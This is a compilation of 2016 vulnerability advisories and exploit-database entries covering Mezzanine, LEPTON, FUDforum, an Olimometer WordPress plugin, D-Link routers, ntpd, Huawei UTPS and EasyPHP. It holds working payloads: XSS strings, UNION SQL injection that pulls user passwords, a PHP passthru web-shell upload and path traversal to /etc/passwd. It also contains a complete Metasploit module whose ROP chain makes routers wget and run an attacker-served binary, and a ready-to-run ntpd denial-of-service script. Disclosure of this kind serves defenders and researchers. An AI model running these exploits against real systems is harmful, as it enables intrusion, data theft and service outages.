Security Advisory - Curesec Research Team
1. Introduction
Affected Product: Mezzanine 4.2.0
Fixed in: 4.2.1
Fixed Version Link: https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1
Vendor Website: http://mezzanine.jupo.org/
Vulnerability Type: XSS
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to public: 11/10/2016
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
Mezzanine is an open source CMS written in python. In version 4.2.0, it is
vulnerable to two persistent XSS attacks, one of which requires extended
privileges, the other one does not. These issues allow an attacker to steal
cookies, inject JavaScript keyloggers, or bypass CSRF protection.
3. Details
XSS 1: Persistent XSS via Name in Comments
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
Description: When leaving a comment on a blog post, the author name is echoed
unencoded in the backend, leading to persistent XSS.
Proof of Concept:
Leave a comment, as author name use '"><img src=no onerror=alert(1)> To trigger
the payload, view the comment overview in the admin backend: http://
localhost:8000/admin/generic/threadedcomment
XSS 2: Persistent XSS via HTML file upload
CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:N/I:P/A:N
Description: When uploading files via the media manager, the extension .html is
allowed, leading to XSS via file upload. An account with the permissions to
upload files to the media manager is required.
Proof of Concept:
Visit the media manager and upload a .html file: http://localhost:8000/admin/
media-library/upload/?ot=desc&o=date As uploaded files are stored inside the
web root, it can now be accessed, thus executing the JavaScript code it
contains: http://localhost:8000/static/media/uploads/xss.html
4. Solution
To mitigate this issue please upgrade at least to version 4.2.1:
https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1
Please note that a newer version might already be available.
5. Report Timeline
09/05/2016 Informed Vendor about Issue
09/05/2016 Vendor replies
09/19/2016 Vendor releases fix
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/Mezzanine-420-XSS-177.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: LEPTON 2.2.2 stable
Fixed in: 2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/
important-lepton-2.3.0-101.php
Vendor Website: http://www.lepton-cms.org/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to 11/10/2016
public:
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to multiple SQL injections. The injections require a user account
with elevated privileges.
3. Details
SQL Injection: Search Page
CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description: The "terms" parameter of the page search is vulnerable to SQL
Injection. A user account with the right "Pages" is required to access this
feature.
Proof of Concept:
POST /LEPTON_stable_2.2.2/upload/admins/pages/index.php?leptoken=
3f7020b05ec343675b6b2z1472137594 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=f3a67s8kh379l9bs2rkggtpt12
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 154 search_scope=title&terms=" union select
username,2,3,4,5,6,password,email,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
from lep_users -- -&search=Search
Blind or Error-based SQL Injection: Create Page
CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description: The "parent" parameter of the create page functionality is
vulnerable to SQL Injection. A user account with the right "Pages" is required
to access this feature. The injection is blind or error based in the case that
PHP is configured to show errors.
Proof of Concept:
POST /LEPTON_stable_2.2.2/upload/admins/pages/add.php?leptoken=
dbbbe0a5cca5d279f7cd2z1472142328 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=uniltg734soq583l03clr0t6j0
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 84 title=test&type=wysiwyg&parent=0 union select version()&
visibility=public&submit=Add
Blind or Error-based SQL Injection: Add Droplet
CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description: The "Add_droplets" parameter of the droplet permission manager is
vulnerable to SQL injection. A user account with access to the Droplets
administration tool is required. The injection is blind or error based in the
case that PHP is configured to show errors.
Proof of Concept:
POST /LEPTON_stable_2.2.2/upload/admins/admintools/tool.php?tool=droplets&
leptoken=1eed21e683f216dbc9dc2z1472139075 HTTP/1.1 Host: localhost
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie:
PHPSESSID=fkb7do1domiofuavvof5qbsv66; lep8765sessionid=
f3a67s8kh379l9bs2rkggtpt12 Connection: close Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded Content-Length: 277 tool=
droplets&perms=1&Add_droplets%5B%5D=1&Add_droplets%5B%5D=2' WHERE attribute=
'Add_droplets' or extractvalue(1,version())%23&Delete_droplets%5B%5D=1&
Export_droplets%5B%5D=1&Import_droplets%5B%5D=1&Manage_backups%5B%5D=1&
Manage_perms%5B%5D=1&Modify_droplets%5B%5D=1&save=Save
4. Solution
To mitigate this issue please upgrade at least to version 2.3.0:
http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Please note that a newer version might already be available.
5. Report Timeline
09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-SQL-Injection-173.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: LEPTON 2.2.2 stable
Fixed in: 2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Vendor Website: http://www.lepton-cms.org/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to 11/10/2016
public:
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to code execution as it is possible to upload files with dangerous
type via the media manager.
3. Details
Upload of file with dangerous type
CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C
Description: When uploading a file in the media tab, there is a client-side as
well as a server-side extension check. The server-side check can be bypassed by
including a valid extension before the desired extension, leading to code
execution or XSS.
Proof of Concept:
POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken=
099c871bbf640f2f91d2az1472132032 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid=
8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data;
boundary=---------------------------38397165016927337851258279296
Content-Length: 613 -----------------------------38397165016927337851258279296
Content-Disposition: form-data; name="action" media_upload
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="current_dir"
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <?
php passthru($_GET['x']);
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="submit" Upload File(s)
-----------------------------38397165016927337851258279296-- http://localhost/
LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id
4. Solution
To mitigate this issue please upgrade at least to version 2.3.0:
http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Please note that a newer version might already be available.
5. Report Timeline
09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-Code-Execution-171.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: FUDforum 3.0.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://fudforum.org/forum/
Vulnerability Type: XSS, Login CSRF
Remote Exploitable: Yes
Reported to vendor: 04/11/2016
Disclosed to public: 11/10/2016
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to multiple persistent XSS issues. This allows an attacker to steal cookies,
inject JavaScript keyloggers, or bypass CSRF protection. Additionally, FUDforum
is vulnerable to Login-CSRF.
3. Details
XSS 1: Via Filename in Private Message
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
Description: The filename of attached images in private messages is vulnerable
to persistent XSS.
Proof of Concept:
Send a PM to a user. Add an attachment, where the filename is: '"><img src=no
onerror=alert(1)>.jpg When the recipient views the PM, the injected code will
be executed.
XSS 2: Via Filename in Forum Posts
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
Description: The filename of attached images in forum posts is vulnerable to
persistent XSS.
Proof of Concept:
Create a new forum post. Add an attachment, where the filename is: '"><img src=
no onerror=alert(1)>.jpg When viewing the post the injected code will be
executed.
XSS 3: Via Signature in User Profile
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
Description: When editing a profile, the signature is echoed unencoded, leading
to persistent XSS.
Proof of Concept:
Visit http://localhost/fudforum/index.php?t=register as signature, use '"></
textarea><img src=no onerror=alert(1)> The injected code is either executed
when the user themselves edits their profile - which may be exploited via login
CSRF - or when an admin visits the edit profile page located here: http://
localhost/fudforum/index.php?t=register&mod_id=6&&SQ=
1a85a858f326ec6602cb6d78d698f60a
Login CSRF
CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
Description: The login of FUDForum does not have any CSRF protection. The
impact of this is low, but an attacker might get a victim to disclose sensitive
information by using CSRF to log the victim into an attacker-controlled
account. An example would be the accidental sending of a sensitive private
message while being logged into an account controlled by an attacker.
Additionally, Login-CSRF may enable an attacker to exploit XSS issues in the
user area.
Proof of Concept:
<html> <body> <form action="http://localhost/fudforum/index.php?t=login" method
="POST"> <input type="hidden" name="login" value="admin" /> <input type=
"hidden" name="password" value="admin" /> <input type="hidden" name="SQ" value=
"0" /> <input type="hidden" name="adm" value="" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-Multiple-Persistent-XSS-amp-Login-CSRF-169.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: FUDforum 3.0.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://fudforum.org/forum/
Vulnerability Type: LFI
Remote Exploitable: Yes
Reported to vendor: 04/11/2016
Disclosed to public: 11/10/2016
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to local file inclusion. This allows an attacker to read arbitrary files that
the web user has access to.
Admin credentials are required.
3. Details
CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N
Description: The "file" parameter of the hlplist.php script is vulnerable to
directory traversal, which allows the viewing of arbitrary files.
Proof of Concept:
http://localhost/fudforum/adm/hlplist.php?tname=default&tlang=./af&&SQ=
4b181ea1d2d40977c7ffddb8a48a4724&file=../../../../../../../../../../etc/passwd
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-LFI-167.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
# Exploit Title: Olimometer Plugin for WordPress – Sql Injection
# Date: 14/11/2016
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins/olimometer/
# Software Link: https://wordpress.org/plugins/olimometer/
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits
# Tested on: Debian 8
1 - Description
# Vulnerable parameter: olimometer_id=
Parameter: olimometer_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: olimometer_id=1 AND 6227=6227
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: olimometer_id=1 AND SLEEP(5)
Using GET SQL Method with the "olimometer_id" parameter, we were able to
get the database name from the EXAMPLE.COM website . By further running
SQL Map using different arguments, we would be able to get the complete
database, including usernames and passwords if there are such.
2. Proof of Concept
Using the website EXAMPLE.COM for example, we can fire up sqlmap and set
the full path to the vulnerable parameter:
root@kali:~# sqlmap -u
http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_
id=1
--dbs --threads=5 --random-agent --no-cast
---
Parameter: olimometer_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: olimometer_id=1 AND 6227=6227
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: olimometer_id=1 AND SLEEP(5)
---
[11:14:21] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[11:14:21] [INFO] fetching database names
[11:14:21] [INFO] fetching number of databases
[11:14:21] [INFO] retrieved:
[11:14:21] [WARNING] multi-threading is considered unsafe in time-based
data retrieval. Going to switch it off automatically
[11:14:21] [WARNING] (case) time-based comparison requires larger
statistical model, please wait.............................. (done)
[11:14:26] [WARNING] it is very important to not stress the network
adapter during usage of time-based payloads to prevent potential disruptions
[11:14:26] [ERROR] unable to retrieve the number of databases
[11:14:26] [INFO] falling back to current database
[11:14:26] [INFO] fetching current database
[11:14:26] [INFO] retrieving the length of query output
[11:14:26] [INFO] retrieved:
[11:14:28] [INFO] heuristics detected web page charset 'ascii'
14
[11:15:26] [INFO] retrieved: *****_wrdp1
available databases [1]:
[*] *****_wrdp1
We can see that we have successfully discovered one available database
with the name: "*****_wrdp1"
3. Type of vulnerability:
An SQL Injection vulnerability in Olimometer allows attackers to read
arbitrary data from the database.
4. Exploitation vector:
The url parameter 'olimometer_id=' of the
/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1 is
vulnerable to SQLI.
5. Attack outcome:
An attacker can read arbitrary data from the database. If the webserver
is misconfigured, read & write access the filesystem may be possible.
6. Impact:
Critical
7. Software/Product name:
Olimometer Plugin for WordPress
8. Affected versions:
<= 2.56
9. Fixed in version:
Not fixed at the date of submitting that exploit.
10. Vendor:
oshingler
11. CVE number:
Not existing
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
# Payload working status:
# MIPS:
# - all valid payloads working (the ones that we are able to send without null bytes)
# ARM:
# - inline rev/bind shell works (bind... meh sometimes)
# - stager rev/bind shell FAIL
# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
'Description' => %q{
Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
which accepts arbitrarily long strings into certain XML parameters and then copies them into
the stack.
This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
this vulnerability is present in both MIPS and ARM devices.
The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
few load and store instructions. Because of this the payloads have to be sent unencoded, which
can cause them to fail, although the bind shell seems to work well.
For the ARM devices, the inline reverse tcp seems to work best.
Check the reference links to see the vulnerable firmware versions.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'References' =>
[
['CVE', '2016-6563'],
['US-CERT-VU', '677427'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
],
'DefaultOptions' => { 'WfsDelay' => 10 },
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target)
'Targets' =>
[
[ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
{
'Offset' => 3072,
'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers
'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so
'FirstGadget' => 0x4EA1C, # see comments below for gadget information
'SecondGadget' => 0x2468C,
'ThirdGadget' => 0x41f3c,
'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128
'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp
'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop)
'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled
},
}
],
[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
{
'Offset' => 1024,
'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so
'FirstGadget' => 0x18298, # see comments below for gadget information
'SecondGadget' => 0x40CB8,
'Arch' => ARCH_ARMLE,
}
],
],
'DisclosureDate' => 'Nov 7 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
], self.class)
end
def check
begin
res = send_request_cgi({
'uri' => '/HNAP1/',
'method' => 'POST',
'Content-Type' => 'text/xml',
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
})
if res && res.code == 500
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def calc_encode_addr (offset, big_endian = true)
if big_endian
[(target['LibcBase'] + offset).to_s(16)].pack('H*')
else
[(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
end
end
def prepare_shellcode_arm (cmd)
#All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers
#first_gadget (pops system() address into r3, and second_gadget into PC):
#.text:00018298 LDMFD SP!, {R3,PC}
#second_gadget (puts the stack pointer into r0 and calls system() at r3):
#.text:00040CB8 MOV R0, SP
#.text:00040CBC BLX R3
#system() (Executes argument in r0 (our stack pointer)
#.text:0005A270 system
#The final payload will be:
#'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
shellcode = rand_text_alpha(target['Offset']) + # filler
"\xff\xff\xff\xff" + # n integer overwrite (see advisory)
rand_text_alpha(16) + # moar filler
rand_text_alpha(4) + # r11
calc_encode_addr(target['FirstGadget'], false) + # first_gadget
calc_encode_addr(target['System'], false) + # system() address
calc_encode_addr(target['SecondGadget'], false) + # second_gadget
cmd # our command
end
def prepare_shellcode_mips
#All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers
#<sleep> is at 56DF0
#first gadget - execute sleep and call second_gadget
#.text:0004EA1C move $t9, $s0 <- sleep()
#.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
#.text:0004EA24 li $a0, 2 <- arg for sleep()
#.text:0004EA28 lw $s0, 0x20+var_8($sp)
#.text:0004EA2C li $a1, 1
#.text:0004EA30 move $a2, $zero
#.text:0004EA34 jr $t9
#.text:0004EA38 addiu $sp, 0x20
#second gadget - put stack pointer in a1:
#.text:0002468C addiu $s1, $sp, 0x58
#.text:00024690 li $s0, 0x44
#.text:00024694 move $a2, $s0
#.text:00024698 move $a1, $s1
#.text:0002469C move $t9, $s4
#.text:000246A0 jalr $t9
#.text:000246A4 move $a0, $s2
#third gadget - call $a1 (stack pointer):
#.text:00041F3C move $t9, $a1
#.text:00041F40 move $a1, $a2
#.text:00041F44 addiu $a0, 8
#.text:00041F48 jr $t9
#.text:00041F4C nop
#When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.
#prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128
#prep_shellcode_2: 03a0f809 jalr sp
#branch_delay: 2084f830 addi a0,a0,-2000
#The final payload will be:
#shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
shellcode = payload.encoded + # exploit
rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler
calc_encode_addr(target['Sleep']) + # s0
rand_text_alpha(4) + # s1
rand_text_alpha(4) + # s2
rand_text_alpha(4) + # s3
calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget)
calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget)
rand_text_alpha(0x1c) + # filler
calc_encode_addr(target['SecondGadget']) + # second_gadget
rand_text_alpha(0x58) + # filler
target['PrepShellcode1'] + # exploit prep
target['PrepShellcode2'] + # exploit prep
target['BranchDelay'] # exploit prep
end
def send_payload (payload)
begin
# the payload can go in the Action, Username, LoginPassword or Captcha XML tag
body = %{
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>
<Captcha>#{payload}</Captcha>
</Login>
</soap:Body>
</soap:Envelope>
}
res = send_request_cgi({
'uri' => '/HNAP1/',
'method' => 'POST',
'ctype' => 'text/xml',
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
'data' => body
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{peer} - Sending the payload to the device...")
@elf_sent = true
send_response(cli, @pl)
end
def exploit
print_status("#{peer} - Attempting to exploit #{target.name}")
if target == targets[0]
send_payload(prepare_shellcode_mips)
else
downfile = rand_text_alpha(8+rand(8))
@pl = generate_payload_exe
@elf_sent = false
resource_uri = '/' + downfile
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
print_status("#{peer} - Asking the device to download and execute #{service_url}")
filename = rand_text_alpha_lower(rand(8) + 2)
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
shellcode = prepare_shellcode_arm(cmd)
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
counter = 0.00
while (not @elf_sent)
if counter % 50.00 == 0 && counter != 0.00
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
end
send_payload(shellcode)
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
counter += 1
end
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
end
end
end
#!/usr/bin/env python
# Exploit Title: ntpd remote pre-auth Denial of Service
# Date: 2016-11-21
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://dumpco.re/cve-2016-7434/
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p8.tar.gz
# Version: ntp-4.2.7p22, up to but not including ntp-4.2.8p9, and ntp-4.3.0 up to, but not including ntp-4.3.94
# CVE: CVE-2016-7434
import sys
import socket
if len(sys.argv) != 3:
print "usage: " + sys.argv[0] + " <host> <port>"
sys.exit(-1)
payload = "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"
print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"
# Exploit Title: Unquoted Service Path Vulnerability in Huawei UTPS Software
# Date: Nov 16 2016
# Author: Dhruv Shah (@Snypter)
# Website: http://security-geek.in
# Contact: dhruv-shah@live.com
# Category: local
# Vendor Homepage: http://www.huawei.com/
# Version: Versions earlier than UTPS-V200R003B015D16SPC00C983
# Tested on: Windows XP , Windows 7-10 x86/x64
# CVE: CVE-2016-8769
1. Description
Huawei UTPS Software is the core software that is bundled with the
Internet Dongles, it provides it dongles to companies like Airtel ,
TATA Photon . This is the software that installs itself for the Dongle
to run on the attached machine. It installs as a service ("Photon.
RunOUC") and ("Airtel. RunOuc") with an unquoted service path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.
2. Proof of Concept
( TATA PHOTON Dongles)
C:\Documents and Settings\Dhruv>sc qc "Photon. RunOuc"
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: Photon. RunOuc
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program
Files\Photon\Huawei\EC306-1\UpdateDog\ouc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Photon. OUC
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
( Airtel Dongles)
C:\Documents and Settings\Dhruv>sc qc "airtel. Runouc"
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: airtel. Runouc
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\airtel\UpdateDog\ouc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : airtel. OUC
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local attacker must insert an
executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
Additional notes :
Fixed in version UTPS-V200R003B015D16SPC00C983
CVSSv3 Risk Rating
Base Score: 6.4 (AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H )
Temporal Score: 5.9 (E:F/RL:O/RC:C)
Vulnerability Disclosure Timeline:
=========================
06/09/2016 - Contact With Vendor
06/09/2016 - Vendor Response
15/11/2016 - Release Fixed Version
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/EASYPHP-DEV-SERVER-REMOTE-CMD-EXECUTION.txt
[+] ISR: ApparitionSec
Vendor:
===============
www.easyphp.org
Product:
=============================
EasyPHP Devserver v16.1.1
easyphp-devserver-16.1.1-setup.exe
hash: 64184d330a34be9e6c029ffa63c903de
A complete WAMP environment for PHP development & personal web hosting.
Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin,
Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows.
Vulnerability Type:
=================================
CSRF / Remote Command Execution
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
EasyPHP Devserver dashboard runs on port 1111, the PHP code contains
mulitple RCE vectors, which can allow
arbitrary OS commands to be executed on the target system by remote
attackers, if a user visits malicious webpage or link.
